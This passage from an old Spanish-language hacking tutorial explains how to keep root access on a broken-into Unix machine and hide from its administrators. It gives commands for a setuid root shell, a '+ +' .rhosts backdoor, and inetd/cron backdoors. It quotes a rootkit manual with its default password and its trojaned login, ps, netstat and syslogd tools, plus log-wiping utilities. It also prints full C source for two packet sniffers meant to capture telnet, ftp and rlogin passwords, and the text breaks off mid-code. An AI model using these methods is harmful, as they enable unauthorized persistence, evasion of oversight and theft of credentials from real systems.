  11567.   en el syslog.conf que tambien indica los logs de los tcp wrappers.
  11568.  
  11569.         Ademas hemos de ver los logs del httpd, ftp, etc. que pueden tener
  11570.   distintas ubicaciones segun los distintos sistemas. Estos pueden estar en
  11571.   los mismos directorios que los tipicos utmp, wtmp, lastlog, acct o por
  11572.   ejemplo los de httpd pueden estar en el directorio donde se ubica el httpd.
  11573.  
  11574.         Un sistema un poco cutre que puede ayudar es hacer un find / -name
  11575.   *log* con lo que te buscara todos los archivos en la maquina que contengan
  11576.   en su nombre la palabra log con lo que te puede dar pistas de por donde
  11577.   mirar ya que muchos logs tienen la palabra log en su nombre como el
  11578.   log_access, xferlog, etc..
  11579.  
  11580.         Una forma de comprobar otros ficheros de log existentes en el sistema,
  11581.   es verificar cuales son todos aquellos archivos que se encuentran abiertos
  11582.   en el momento, y por ello, lo que podemos conseguir es una pista de cuales
  11583.   son algunos de los posibles lugares en los que se puede almacenar
  11584.   informacion que comprometa al usuario. Un programa para ello es el LSOF
  11585.   (LiSt Open Files), el cual nos indicar los ficheros que se encuentran
  11586.   abiertos en ese momento.
  11587.  
  11588.         En fin, este tema es mucho mas complejo, pero creo que extenderse mas
  11589.   se escapa de los objetivos de este texto y ademas la mejor manera de
  11590.   aprender sobre estas kosas es probando, viendo makinas, probando programas,
  11591.   etc.
  11592.  
  11593.   10.- PRESERVAR EL ACCESO Y PONER SNIFFERS
  11594.  
  11595.         Bueno, voy a dar cuatro matices sobre este tema. La idea es que tras
  11596.   haber conseguido un root es interesante instalar backdoors (o mejor una
  11597.   rootkit que es un conjunto de backdoors y otras herramientas) para seguir
  11598.   teniendo acceso como root y no tener que repetir el proceso de entrar por
  11599.   una cuenta normal, ejecutar xploit, etc,... ya que esto es un coñazo.
  11600.  
  11601.         Bueno, simplemente comento que hay backdoors para el telnetd, login,
  11602.   fingerd, y muchisimos mas, aunque lo que no hay que hacer es poner sushis o
  11603.   usar la tipica backdoor en el .rhosts o hosts.equiv ya que esos se notan
  11604.   mucho y nada mas que el root mire un poco su maquina se dara cuenta.
  11605.  
  11606.         De todos modos, por ser metodos que se han usado mucho y que ademas
  11607.   es posible que algun dia tengas que usarlo si estas ante un sistema
  11608.   operativo raro, voy a explicarlos un poco.
  11609.  
  11610.         Poner una sushi (set uid shell) consiste en que cuando seas root,
  11611.   hacer una copia de la shell, cambiarle el nombre y ponerle como owner al
  11612.   root y luego darle permisos 4755.
  11613.  
  11614.         Es decir... haces:
  11615.  
  11616.   Cp /bin/sh /directoriopublico
  11617.   Mv sh /directoriopublico
  11618.   Cd directoriopublico
  11619.   Mv sh cualquiera
  11620.   chown root cualquiera
  11621.   chmod 4755 cualquiera
  11622.  
  11623.         La gracia de esto es que el 4 indica que cualquiera que ejecute ese
  11624.   fichero tendra privilegios del owner de ese fichero. Asi, como el owner es
  11625.   el root y el fichero es una shell, obtendremos una shell de root con lo que
  11626.   cuando entremos a esta maquina como un usuario normal, simplemente iremos al 
  11627.   directoriopublico, ejecutamos ./cualquiera y tendremos una shell de root.
  11628.  
  11629.         En este momento es importante señalar las diferencias entre UID (User 
  11630.   Identification) y EUID (Efective User Identification), es decir, cuando
  11631.   ejecuteis la sushi tendreis como UID la que tuvieseis del usuario con el
  11632.   que habeis entrado pero tendreis como EUID=0, es decir que teneis
  11633.   privilegios de root para hacerlo todo pero sin embargo si por ejemplo
  11634.   haceis un who aparecera el UID de la cuenta con la que habeis entrado y no
  11635.   aparecereis como root... tened cuidado con este tema que a veces puede
  11636.   ocasionar lios con los permisos y owners de los ficheros.
  11637.  
  11638.         Vale, hasta ahora todo muy bonito pero la desventaja de esto es que
  11639.   te la pueden localizar facilmente haciendo un find -perm 4000 ........ ya
  11640.   que con este comando busca ficheros que tengan estas caracteristicas del
  11641.   bit de setuid activado con lo que el root te puede pillar facilmente por lo
  11642.   que claramente es desaconsejable.
  11643.  
  11644.         Otro metodo, aun pero es poner un + + en el .rhosts del root. Esto
  11645.   quiere decir que cualquiera que haga un rlogin al root desde cualquier
  11646.   maquina sera root sin necesidad de password.. es decir con rlogin -l root
  11647.   maquinavictima.com. Obviamente la desventaja de esto es que el root cuando
  11648.   vea un + + en su .rhosts te pillara y esto es de lo que mas canta por lo
  11649.   que tambien es claramente desaconsejable.
  11650.  
  11651.         Ademas de esto hay programas que substituyen el fingerd, telnetd,
  11652.   login, etc para que cuando tu les des unos datos determinados te dejen
  11653.   entrar como root remotamente. Esta es una buena solucion aunque en algunos
  11654.   casos la longitud del fichero difiere mucho del real al troyano.. pero hay
  11655.   algun metodo mas que ya se comentara en otros textos para que no te pillen
  11656.   por este motivo. Estos troyanos estan en muchos de los lugares de la red
  11657.   asi ke dando un par de vueltas los encontrareis.. igualmente, es posible
  11658.   que esten en la misma maquina de donde os bajeis este texto. Obviamente no
  11659.   son adjuntados por no hacer esto mas grande, que ya se esta haciendo
  11660.   demasiado largo el textito de marras.. jeje
  11661.  
  11662.         Ademas de meter troyanos, tambien hay backdoors usando el inetd, cron
  11663.   y demas.... su funcionamiento es bastante obvio... el inetd define los
  11664.   demonios que se arrancan asociados con cada puerto por lo ke puedes poner
  11665.   asociado a un puerto raro una shell de root... respecto al cron.. es un
  11666.   programa que te permite definir tareas que se repitan periodicamente...
  11667.   puedes hacer ke todos los dias a una hora dada se modifique el archivo
  11668.   /etc/passwd, o que ejecute un socket daemon o mil kosas mas... estas dos
  11669.   backdoors ofrecen muchas posibilidades.. la putada en contra de los
  11670.   troyanos es que nada mas que el root vea el inetd.conf (en el caso del
  11671.   inetd) o el directorio cron se pueden dar cuenta facilmente.
  11672.  
  11673.         Lo que es bastante interesante es instalar una rootkit (el problema
  11674.   es que no estan hechas para muchos sistemas con lo que si te encuentras un
  11675.   sistema operativo para los que no las tienes te lo tienes que currar un
  11676.   poco mas :o(.. este paquete de programas te permiten desde ocultar procesos,
  11677.   ocultar directorios, borrar huellas, dejar mil backdoors, que te oculte en
  11678.   el netstat, que en el ifconfig no aparezca el famoso promiscuos si pones un
  11679.   sniffer, etc. es decir que dejas la maquina hecha un agujero. Obviamente, se
  11680.   puede definir que directorios quieres que te oculte, que backdoors quieres
  11681.   que te ponga, etc. No la adjunto en este texto ya que es bastante grande
  11682.   pero no es dificil obtenerlas en la red. Adjunto aqui unos de los programas
  11683.   que modifica una rootkit cualquiera que he pillado.. en este caso es una de
  11684.   linux (hay versiones posteriores del año 97 de esta rootkit):
  11685.  
  11686.   chfn            Trojaned! User->r00t
  11687.   chsh            Trojaned! User->r00t
  11688.   inetd           Trojaned! Remote access
  11689.   login           Trojaned! Remote access
  11690.   ls              Trojaned! Hide files
  11691.   du              Trojaned! Hide files
  11692.   ifconfig        Trojaned! Hide sniffing
  11693.   netstat Trojaned! Hide connections
  11694.   passwd  Trojaned! User->r00t
  11695.   ps              Trojaned! Hide processes
  11696.   top             Trojaned! Hide processes
  11697.   rshd            Trojaned! Remote access
  11698.   syslogd Trojaned! Hide logs
  11699.   linsniffer      A kewl sniffz0r!
  11700.   sniffit         Another kewl sniffer!
  11701.   fix             File fixer!
  11702.   z2              Zap2 utmp/wtmp/lastlog eraser!
  11703.   wted            wtmp/utmp editor!
  11704.   lled            lastlog editor!
  11705.   bindshell       port/shell type daemon!
  11706.  
  11707.         Y a continuacion su uso de manera breve:
  11708.  
  11709.         OK I will go thru how to use each program one by one. NOTE when I say 
  11710.   passwordI mean the rootkit password not your users password (doh!). By 
  11711.   default therootkit password is lrkr0x.
  11712.  
  11713.   chfn -          Local user->root. Run chfn then when it asks you for a new
  11714.                   name enter your password.
  11715.  
  11716.   chsh -          Local user->root. Run chsh when it asks you for a new shell
  11717.                   enter your password.
  11718.  
  11719.   inetd -         Binds a shell to a port for remote access. hehe look at the
  11720.                   source if u want this one =)
  11721.  
  11722.   login -         Allows login to any account with the rootkit password.
  11723.                   If root login is refused on your terminal login as "rewt".
  11724.                   History logging is disabled if you login using your
  11725.                   password.
  11726.  
  11727.   ls -            Trojaned to hide specified files and dirs.
  11728.                   Default data file is /dev/ptyr.
  11729.                   All files can be listed with 'ls -/'.
  11730.                   The format of /dev/ptyr is:
  11731.                   ptyr
  11732.                   hack.dir
  11733.                   w4r3z
  11734.                   ie. just the filenames. This would hide any files/dirs with
  11735.                   the names ptyr, hack.dir and w4r3z.
  11736.  
  11737.   du -            Same as ls, 'cept for du instead :)
  11738.  
  11739.   ifconfig -      Modified to remove PROMISC flag when sniffing.
  11740.  
  11741.   netstat -       Modified to remove tcp/udp/sockets from or to specified
  11742.                   addresses, uids and ports.
  11743.                   default data file: /dev/ptyq
  11744.                   command 0: hide uid
  11745.                   command 1: hide local address
  11746.                   command 2: hide remote address
  11747.                   command 3: hide local port
  11748.                   command 4: hide remote port
  11749.                   command 5: hide UNIX socket path
  11750.  
  11751.               example:
  11752.               0 500           <- Hides all connections by uid 500
  11753.               1 128.31        <- Hides all local connections from 128.31.X.X
  11754.               2 128.31.39.20  <- Hides all remote connections to 128.31.39.20
  11755.               3 8000          <- Hides all local connections from port 8000
  11756.               4 6667          <- Hides all remote connections to port 6667
  11757.               5 .term/socket  <- Hides all UNIX sockets including the path 
  11758.                                  .term/socket
  11759.        
  11760.         Yeah eyem lazy. This is ira's description. Why bother thinking  up
  11761.    werds when someones already done it?
  11762.  
  11763.   passwd -        Local user->root. Enter your rootkit password instead of
  11764.                   your old password.
  11765.  
  11766.   ps -            Modified to remove specified processes.
  11767.                   Default data file is /dev/ptyp.
  11768.                   An example data file is as follows:
  11769.                   0 0             Strips all processes running under root
  11770.                   1 p0            Strips tty p0
  11771.                   2 sniffer       Strips all programs with the name sniffer
  11772.                   Don't put in the comments, obviously.
  11773.  
  11774.   top -           Identical to ps, 'cept for top instead.
  11775.  
  11776.   rshd -          Execute remote commands as root. 
  11777.                   Usage: rsh -l rootkitpassword host command
  11778.                   ie. rsh -l lrkr0x cert.org /bin/sh -i
  11779.                       would start a root shell.
  11780.  
  11781.   syslogd -       Modified to remove specified strings from logging.
  11782.                   I thought of this one when I was on a system which logged
  11783.                   every connection.. I kept getting pissed off with editing
  11784.                   files every time I connected to remove my hostname. Then I 
  11785.                   thought 'Hey dude, why not trojan syslogd?!' and the rest
  11786.                   is history. :)
  11787.                   Default data file is /dev/ptys
  11788.                   Example data file:
  11789.                   evil.com
  11790.                   123.100.101.202
  11791.                   rshd
  11792.                   This would remove all logs containing the strings evil.com,
  11793.                   123.100.101.202 and rshd. Smart! :))
  11794.  
  11795.   sniffit -       An advanced network sniffer. This is pretty kewl and has
  11796.                   lots of filtering options and other stuff. Useful for
  11797.                   targetting a single host or net. Sniffit uses ncurses.
  11798.  
  11799.   linsniffer -    A kewl sniffer. This is smaller than sniffit and doesn't
  11800.                   need the ncurses libraries.  
  11801.                   As CERT say, sniffing is responsible for more mass network
  11802.                   breakins than anything else in the 90's. P'raps they ain't
  11803.                   heard of Sendmail before hahahaha  
  11804.  
  11805.   fix -           Replaces and fixes timestamp/checksum infomation on files.
  11806.                   I modified this a bit for my own uses and to fix a nasty bug
  11807.                   when replacing syslogd and inetd. The replacement file will
  11808.                   be erased by fix (unlike other versions).  
  11809.  
  11810.   z2 -            Zapper2! Run this to erase the last utmp/wtmp/lastlog
  11811.                   entries for a username. This can be detected since it just
  11812.                   nulls the entry out but no sysadmins know this, right?
  11813.  
  11814.   wted -          This does lots of stuff. U can view ALL the entries in a
  11815.                   wtmp or utmp type file, erase entries by username or
  11816.                   hostname, view zapped users (admins use a util similar to
  11817.                   this to find erased entries), erase zapped users etc.
  11818.  
  11819.   lled -          Basically the same as wted but for lastlog entries. 
  11820.  
  11821.         Creo que con esto queda suficientemente claro no? jeje
  11822.  
  11823.         Como se puede ver, esta rootkit tiene de todo, unos cuantos troyanos,
  11824.   sniffer, borrador de huellas, inetd y login modificados para permitir
  11825.   acceso remoto, editores de wtmp y utmp, etc... en fin, como podeis ver si
  11826.   pillas root en una maquina e instalas una rootkit.. la maquina es tuya asi
  11827.   que no doy ideas.. jejejejejeje. Por cierto a fecha de hoy no encuentro
  11828.   rootkits para irix, aix, hp y demas por lo que si alguien tiene agradeceria
  11829.   que me lo comunicasen (yo solo tengo de sun y de linux... y una para bsd
  11830.   pero que no rula muy bien :o( y currarse una es una kurrada :(
  11831.  
  11832.         Ademas de lo que acabo de comentar, una vez tienes la maquina
  11833.   controlada, lo que has de hacer es poner un sniffer para conseguir mas
  11834.   cuentas (que a veces tambien viene incluida en la rootkit) que se comenta a
  11835.   continuacion.
  11836.  
  11837.         Nota previa: La manera mas usual de conectar maquinas es usando
  11838.   Ethernel. El protocolo de Ethernet trabaja enviando la informacion en
  11839.   paquetes a las maquinas de la red. La cabecera del paquete contiene la
  11840.   direccion IP de la maquina destino. Solo la maquina que tiene este IP va a
  11841.   recibir este paquete en teoria, pero una maquina se puede poner en modo
  11842.   promiscuo de manera que reciba todos los paquetes que van por la red
  11843.   independientemente de lo que ponga en la cabecera como IP de destino.
  11844.  
  11845.         Asi, basicamente un sniffer lo que hace es poner a la maquina en modo 
  11846.   promiscuo, es decir, que la maquina acepta todos los paquetes que van por la 
  11847.   red y no solo los que van destinados a ella.
  11848.  
  11849.         La gracia de esto es que en una red normal (sin usar metodos de
  11850.   encriptacion de passwords como el Kerberos) por la red rulan los paquetes
  11851.   con el login y passwd de otras maquinas con lo que conseguireis cuentas en
  11852.   otras maquinas sin hacer nada.. esta bien no?.
  11853.  
  11854.         El problema es que se puede detectar facilmente si en una maquina hay
  11855.   un sniffer corriendo simplemente haciendo ifconfig -a (en general, aunque
  11856.   varia un poco para algunos sistemas) porque aparece un mensaje de que la
  11857.   maquina esta en promiscous mode... por lo que tendras que poner un troyano
  11858.   para el ifconfig porque si no, el root se percatara y se mosqueara.
  11859.   Recuerdo que en las rootkits vienen incluidos troyanos para el ifconfig.
  11860.  
  11861.         Hay muchisimos sniffers, estos programas permiten muchas opciones
  11862.   como que te permiten sniffear algunos puertos o todos, buscar palabras en
  11863.   los paquetes, etc y los hay desde algunos muy cutres hasta otros
  11864.   comerciales. Algunos nombres son tcpdump, sniffit, esniff, websniff,
  11865.   linsniffer, solsniff, sunsniff, etc.. como veis hay muchos y para distintos
  11866.   sistemas operativos. He cogido de la phrack esta lista de sniffers para
  11867.   distintos sistemas operativos que supongo que sera de interes:
  11868.  
  11869.   OS                      Sniffer
  11870.  
  11871.   4.3/4.4 BSD           tcpdump /* Available via anonymous ftp  */
  11872.   FreeBSD tcpdump /* Available via anonymous ftp at        */
  11873.                   /* gatekeeper.dec.com
  11874.   /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
  11875.   NetBSD  tcpdump /* Available via anonymous ftp at        */
  11876.                  /* gatekeeper.dec.com
  11877.                  /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
  11878.   DEC Unix        tcpdump /* Available via anonymous ftp           */
  11879.   DEC Ultrix      tcpdump /* Available via anonymous ftp           */
  11880.   HP/UX           nettl (monitor) & netfmt (display)
  11881.                           nfswatch        /* Available via anonymous ftp*/
  11882.   Irix                    nfswatch        /* Available via anonymous ftp*/
  11883.                           Etherman
  11884.   Tcpdump /* Available via anonymous ftp           */
  11885.   SunOS          etherfind
  11886.                        Nfswatch  /* Available via anonymous ftp*/
  11887.   tcpdump /* Available via anonymous ftp           */
  11888.   Solaris                 snoop
  11889.                   tcpdump
  11890.   DOS                     ETHLOAD         /* Available via anonymous ftp as*/
  11891.                                           /* ethld104.zip*/
  11892.                     The Gobbler     /* Available via anonymous ftp*/
  11893.                     LanPatrol
  11894.                     LanWatch
  11895.                     Netmon
  11896.                     Netwatch
  11897.                         Netzhack    /* Available via anonymous ftp at*/
  11898.                                     /* mistress.informatik.unibw-muenchen.de*/
  11899.                                     /* /pub/netzhack.mac*/
  11900.   Macintosh       Etherpeek
  11901.  
  11902.         Como veis el TCPDUMP es bastante interesante pero no lo adjunto en el
  11903.   texto por ser bastante grande. Este es un problema de este programa, que es
  11904.   un monitor de red muy potente pero tambien canta mucho si lo metes en una 
  11905.   makina porke tiene muchos archivos y canta bastante al hacer un ps-axw por
  11906.   lo que es mejor evitar usarlo y si estas en una linux o sun, usar sniffers 
  11907.   pequeñitos ke hay para esos sistemas operativos.
  11908.  
  11909.         Aqui adjunto el codigo de un par de sniffers para que veais la forma
  11910.   que tienen aunque obviamente recuerdo que os hacen falta las librerias para
  11911.   que rulen:
  11912.  
  11913. ------------ Codigo Fuente ---------------------------------------------------
  11914.  
  11915. /* ipl.c 1/3/95    by loq */
  11916. /* monitors ip packets for Linux */
  11917. #include <sys/types.h>
  11918. #include <sys/socket.h>
  11919. #include <sys/time.h>
  11920. #include <netinet/in.h>
  11921. #include <linux/if.h>
  11922. #include <signal.h>
  11923. #include <stdio.h>
  11924. #include <linux/socket.h>
  11925. #include <linux/ip.h>
  11926. #include <linux/tcp.h>
  11927. #include <linux/if_ether.h>
  11928.  
  11929. #define BUFLEN 8192
  11930. #define ETHLINKHDR 14
  11931.  
  11932.  
  11933. print_data(int count, char *buff)
  11934. {
  11935.     int i,j,c;
  11936.     int printnext=1;
  11937.     if(count)
  11938.     {
  11939.     if(count%16)
  11940.         c=count+(16-count%16);
  11941.     else c=count;
  11942.     }
  11943.         else
  11944.         c=count;
  11945.     for(i=0;i<c;i++)
  11946.     {
  11947.         if(printnext) { printnext--; printf("%.4x ",i&0xffff); }
  11948.         if(i<count)
  11949.         printf("%3.2x",buff[i]&0xff);
  11950.         else
  11951.         printf("   ");
  11952.         if(!((i+1)%8)) 
  11953.             if((i+1)%16)
  11954.                 printf(" -");
  11955.             else
  11956.                 {
  11957.                     printf("   ");
  11958.                     for(j=i-15;j<=i;j++)
  11959.                       if(j<count) {
  11960.                         if( (buff[j]&0xff) >= 0x20 && 
  11961.                             (buff[j]&0xff)<=0x7e)
  11962.                                                  printf("%c",buff[j]&0xff);
  11963.                         else printf(".");
  11964.                         } else printf(" ");
  11965.                 printf("\n"); printnext=1;
  11966.                 }
  11967.     }
  11968. }
  11969.  
  11970. int
  11971. initdevice(device, pflag)
  11972.     char *device;
  11973.     int pflag;
  11974. {
  11975. #define PROTO htons(0x0800)   /* Ethernet code for IP protocol */
  11976.  
  11977.     int if_fd=0;
  11978.     struct ifreq ifr;
  11979.  
  11980.     if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {
  11981.         perror("Can't get socket");
  11982.         exit(2);
  11983.     }
  11984.  
  11985.     strcpy(ifr.ifr_name, device);       /* interface we're gonna use */
  11986.     if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) {    /* get flags */
  11987.         close(if_fd);
  11988.         perror("Can't get flags");
  11989.         exit(2);
  11990.     }
  11991. #if 1
  11992.     if ( pflag )
  11993.                 ifr.ifr_flags |= IFF_PROMISC;       /* set promiscuous mode */
  11994.     else
  11995.         ifr.ifr_flags &= ~(IFF_PROMISC);
  11996. #endif
  11997.  
  11998.     if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) {    /* set flags */
  11999.         close(if_fd);
  12000.         perror("Can't set flags");
  12001.         exit(2);
  12002.     }
  12003.     return if_fd;
  12004. }
  12005.  
  12006. struct etherpacket {
  12007.     struct ethhdr        eth;    
  12008.     struct iphdr        ip;
  12009.     struct tcphdr        tcp;
  12010.     char            data[8192];
  12011.     };
  12012.  
  12013. main()
  12014. {
  12015.     int linktype;
  12016.     int if_eth_fd=initdevice("eth0",1);
  12017. #if 0
  12018.     int if_ppp_fd=initdevice("sl0",1);
  12019. #endif
  12020.     struct etherpacket ep;
  12021.     struct sockaddr dest;
  12022.     struct iphdr *ip;
  12023.     struct tcphdr *tcp;
  12024.     struct timeval timeout;
  12025.     fd_set rd,wr;
  12026.     int dlen;
  12027. #if 0
  12028.     struct slcompress *slc=slhc_init(64,64);    
  12029. #endif
  12030.  
  12031.     for(;;)
  12032.     {
  12033.         bzero(&dest,sizeof(dest));
  12034.         dlen=0;
  12035.         FD_ZERO(&rd);
  12036.         FD_ZERO(&wr);
  12037.         FD_SET(if_eth_fd,&rd);
  12038. #if 0
  12039.         FD_SET(if_ppp_fd,&rd);
  12040. #endif
  12041.         timeout.tv_sec=0;
  12042.         timeout.tv_usec=0;
  12043.         ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  12044.         tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  12045.         while(timeout.tv_sec==0 && timeout.tv_usec==0)
  12046.         {
  12047.         timeout.tv_sec=10;
  12048.         timeout.tv_usec=0;
  12049.         select(20,&rd,&wr,NULL,&timeout);
  12050.         if(FD_ISSET(if_eth_fd,&rd))
  12051.             {
  12052.             printf("eth\n");
  12053.             recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
  12054.             }
  12055. #if 0
  12056.         else
  12057.             if(FD_ISSET(if_ppp_fd,&rd))
  12058.             {
  12059.             recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
  12060.             printf("ppp\n");
  12061.             }
  12062. #endif
  12063.         }    
  12064.  
  12065.         printf("proto: %.4x",ntohs(ep.eth.h_proto));
  12066. #if 0
  12067.         if(ep.eth.h_proto==ntohs(8053))
  12068.         {
  12069.             slhc_uncompress(slc,&ep,sizeof(ep));
  12070.         }
  12071. #endif
  12072.  
  12073.         if(ep.eth.h_proto==ntohs(ETH_P_IP))
  12074.         {
  12075.         printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
  12076.             ep.eth.h_source[0],ep.eth.h_source[1],
  12077.             ep.eth.h_source[2],ep.eth.h_source[3],
  12078.             ep.eth.h_source[4],ep.eth.h_source[5]);
  12079.         printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",
  12080.             ep.eth.h_dest[0],ep.eth.h_dest[1],
  12081.             ep.eth.h_dest[2],ep.eth.h_dest[3],
  12082.             ep.eth.h_dest[4],ep.eth.h_dest[5]);
  12083.         printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
  12084.         printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
  12085.         print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
  12086.             ep.data-2);
  12087.         }
  12088.     }
  12089. }
  12090.  
  12091. ------------ FIN -------------------------------------------------------------
  12092.  
  12093.         Tambien pongo un sniffer generico para ethernet que aparecio en la
  12094.   PHRACK que esta diseñado para trabajar en SunOs, es muy pequeño y solo
  12095.   captura los primeros 300 bytes de todas las sesiones de telnet, ftp o
  12096.   rlogin:
  12097.  
  12098. ------------ Codigo Fuente ---------------------------------------------------
  12099.  
  12100. /* [JOIN THE POSSE!] */
  12101.  
  12102. /* Esniff.c */
  12103.  
  12104. #include <stdio.h>
  12105. #include <ctype.h>
  12106. #include <string.h>
  12107.  
  12108. #include <sys/time.h>
  12109. #include <sys/file.h>
  12110. #include <sys/stropts.h>
  12111. #include <sys/signal.h>
  12112. #include <sys/types.h>
  12113. #include <sys/socket.h>
  12114. #include <sys/ioctl.h>
  12115.  
  12116. #include <net/if.h>
  12117. #include <net/nit_if.h>
  12118. #include <net/nit_buf.h>
  12119. #include <net/if_arp.h>
  12120.  
  12121. #include <netinet/in.h>
  12122. #include <netinet/if_ether.h>
  12123. #include <netinet/in_systm.h>
  12124. #include <netinet/ip.h>
  12125. #include <netinet/udp.h>
  12126. #include <netinet/ip_var.h>
  12127. #include <netinet/udp_var.h>
  12128. #include <netinet/in_systm.h>
  12129. #include <netinet/tcp.h>
  12130. #include <netinet/ip_icmp.h>
  12131.  
  12132. #include <netdb.h>
  12133. #include <arpa/inet.h>
  12134.  
  12135. #define ERR stderr
  12136.  
  12137. char    *malloc();
  12138. char    *device,
  12139.         *ProgName,
  12140.         *LogName;
  12141. FILE    *LOG;
  12142. int     debug=0;
  12143.  
  12144. #define NIT_DEV     "/dev/nit"
  12145. #define CHUNKSIZE   4096        /* device buffer size */
  12146. int     if_fd = -1;
  12147. int     Packet[CHUNKSIZE+32];
  12148.  
  12149. void Pexit(err,msg)
  12150. int err; char *msg;
  12151. { perror(msg);
  12152.   exit(err); }
  12153.  
  12154. void Zexit(err,msg)
  12155. int err; char *msg;
  12156. { fprintf(ERR,msg);
  12157.   exit(err); }
  12158.  
  12159. #define IP          ((struct ip *)Packet)
  12160. #define IP_OFFSET   (0x1FFF)
  12161. #define SZETH       (sizeof(struct ether_header))
  12162. #define IPLEN       (ntohs(ip->ip_len))
  12163. #define IPHLEN      (ip->ip_hl)
  12164. #define TCPOFF      (tcph->th_off)
  12165. #define IPS         (ip->ip_src)
  12166. #define IPD         (ip->ip_dst)
  12167. #define TCPS        (tcph->th_sport)
  12168. #define TCPD        (tcph->th_dport)
  12169. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  12170.  
  12171. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  12172.  
  12173. #define MAXBUFLEN  (128)
  12174. time_t  LastTIME = 0;
  12175.  
  12176. struct CREC {
  12177.      struct CREC *Next,
  12178.                  *Last;
  12179.      time_t  Time;              /* start time */
  12180.      struct in_addr SRCip,
  12181.                     DSTip;
  12182.      u_int   SRCport,           /* src/dst ports */
  12183.              DSTport;
  12184.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  12185.      u_int   Length;            /* current data length */
  12186.      u_int   PKcnt;             /* # pkts */
  12187.      u_long  LASTseq;
  12188. };
  12189.  
  12190. struct CREC *CLroot = NULL;
  12191.  
  12192. char *Symaddr(ip)
  12193. register struct in_addr ip;
  12194. { register struct hostent *he =
  12195.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  12196.  
  12197.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  12198. }
  12199.  
  12200. char *TCPflags(flgs)
  12201. register u_char flgs;
  12202. { static char iobuf[8];
  12203. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  12204.  
  12205.   SFL(0,TH_FIN, 'F');
  12206.   SFL(1,TH_SYN, 'S');
  12207.   SFL(2,TH_RST, 'R');
  12208.   SFL(3,TH_PUSH,'P');
  12209.   SFL(4,TH_ACK, 'A');
  12210.   SFL(5,TH_URG, 'U');
  12211.   iobuf[6]=0;
  12212.   return(iobuf);
  12213. }
  12214.  
  12215. char *SERVp(port)
  12216. register u_int port;
  12217. { static char buf[10];
  12218.   register char *p;
  12219.  
  12220.    switch(port) {
  12221.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  12222.      case IPPORT_TELNET:      p="telnet"; break;
  12223.      case IPPORT_SMTP:        p="smtp"; break;
  12224.      case IPPORT_FTP:         p="ftp"; break;
  12225.      default: sprintf(buf,"%u",port); p=buf; break;
  12226.    }
  12227.    return(p);
  12228. }
  12229.  
  12230. char *Ptm(t)
  12231. register time_t *t;
  12232. { register char *p = ctime(t);
  12233.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  12234.   return(p);
  12235. }
  12236.  
  12237. char *NOWtm()
  12238. { time_t tm;
  12239.   time(&tm);
  12240.   return( Ptm(&tm) );
  12241. }
  12242.  
  12243. #define MAX(a,b) (((a)>(b))?(a):(b))
  12244. #define MIN(a,b) (((a)<(b))?(a):(b))
  12245.  
  12246. /* add an item */
  12247. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  12248.   register struct CREC *CLtmp = \
  12249.         (struct CREC *)malloc(sizeof(struct CREC)); \
  12250.   time( &(CLtmp->Time) ); \
  12251.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  12252.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  12253.   CLtmp->SRCport = SPORT; \
  12254.   CLtmp->DSTport = DPORT; \
  12255.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  12256.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  12257.   CLtmp->PKcnt = 1; \
  12258.   CLtmp->Next = CLroot; \
  12259.   CLtmp->Last = NULL; \
  12260.   CLroot = CLtmp; \
  12261. }
  12262.  
  12263. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  12264. register struct in_addr Sip,Dip;
  12265. register u_int SP,DP;
  12266. { register struct CREC *CLr = CLroot;
  12267.  
  12268.   while(CLr != NULL) {
  12269.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  12270.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  12271.             break;
  12272.     CLr = CLr->Next;
  12273.   }
  12274.   return(CLr);
  12275. }
  12276.  
  12277. #define ADDDATA_NODE(CL,DATA,LEN) { \
  12278.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  12279.  CL->Length += LEN; \
  12280. }
  12281.  
  12282. #define PR_DATA(dp,ln) {    \
  12283.   register u_char lastc=0; \
  12284.   while(ln-- >0) { \
  12285.      if(*dp < 32) {  \
  12286.         switch(*dp) { \
  12287.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  12288.                         break; \
  12289.             case '\r': \
  12290.             case '\n': fprintf(LOG,"\n     : "); \
  12291.                         break; \
  12292.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  12293.                         break; \
  12294.         } \
  12295.      } else { \
  12296.         if(isprint(*dp)) fputc(*dp,LOG); \
  12297.         else fprintf(LOG,"(%d)",*dp); \
  12298.      } \
  12299.      lastc = *dp++; \
  12300.   } \
  12301.   fflush(LOG); \
  12302. }
  12303.  
  12304. void END_NODE(CLe,d,dl,msg)
  12305. register struct CREC *CLe;
  12306. register u_char *d;
  12307. register int dl;
  12308. register char *msg;
  12309. {
  12310.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
